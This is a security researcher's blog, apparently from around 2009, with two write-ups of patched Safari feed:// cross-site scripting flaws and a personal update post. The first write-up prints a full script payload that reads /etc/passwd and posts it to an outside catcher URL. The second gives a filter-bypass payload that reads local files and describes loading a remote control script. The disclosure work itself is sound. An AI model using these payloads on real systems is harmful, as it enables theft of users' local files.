Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari's feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version="1.0" encoding="utf-8"?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel="alternate" type="text/html" href="http://www.google.com" />
<im:contentType term="TV Show" label="TV Show"><im:contentType term="TV Episode" label="TV Episode"/></im:contentType>
<category term="Sci Fi &amp; Fantasy" scheme="scheme"/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the "Summary" tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class="apple-rss-author" title="iTunes Store">iTunes Store</div>

<div class="apple-rss-summary" >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class="apple-rss-date" title="Feb 16, 4:17 AM">Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open('GET', 'file:///etc/passwd', true);
req.send('');

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open('POST', 'http://xs-sniper.com/sniperscope/catcher.php', true);
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send('filename=etcpasswd&filecontents='+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!

BK

Catching Up!

Whew!  It’s been a busy couple of months for me.  I’m always curious as to how I get so much on my plate.  A quick recap of some of the stuff I’ve been working on / or have coming in the near future:

 

1)      HITB Dubai is almost here!  I’ve been selected to give two talks at HITB in Dubai.  Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai.  Dhillon is always an EXCELLENT host and I’m looking forward to seeing the sights .  As for the talks I’ll be giving in Dubai, the first (Biting the Hand that Feeds You – Reloaded) is an extension of a talk Nate McFeters and I gave at Defcon 15.  It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications.  It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified).  For the second talk (Cross Domain Leakiness), I’ll be co-presenting with Chris Evans from Google.  Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms.  I’m also looking forward to seeing Nitesh Dhanjani’s talk (Psychotronica).  I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!

 

2)      Jeff Carr put out the second paper in the Grey Goose Series (first paper here, second paper here).  Contact Jeff directly if you are interested in getting a GOVT only version of the papers.  Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies.  The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems.  Jeff focuses on analysis related to politically motivated events around the world.  I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background.  Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO Cooperative Cyber Defence Centre of Excellence.  We’ll be presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers.  We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).

 

3)      My studies as an MBA student continue.  Once I finish this semester, I’ll have two classes left.  I'm currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems.  I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc).  I see things like the No More Free Bugs (NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth > $0.00.  It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers.  Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell.  I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized.  How much is a Gmail XSS or CSRF worth?  Are there ways to monetize?

 

4)      I’m co-authoring a book… more on this later

 

5)      I’ve started a really cool project at work that will consume lots of time...

 

6)      Oh yeah…. I have a ~3 month old baby girl that demands all my free time J

 

Where does the time go?!?!

Stealing More Files with Safari

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I'll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/



RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class="apple-rss-article-body">
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!-- end articlebody --></div
….

As you can see, Safari's filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src="http://xs-sniper.com/images/React-Team-Leader.JPG" onload="javascript:alert('loading /etc/passwd into javascript');var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open('GET', 'file:////etc/passwd', true);req.send('');function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}" <onload=""

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a "<script src=http://XS-Sniper's-IP-Address/dynamic.js>" (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I'm very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we're lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.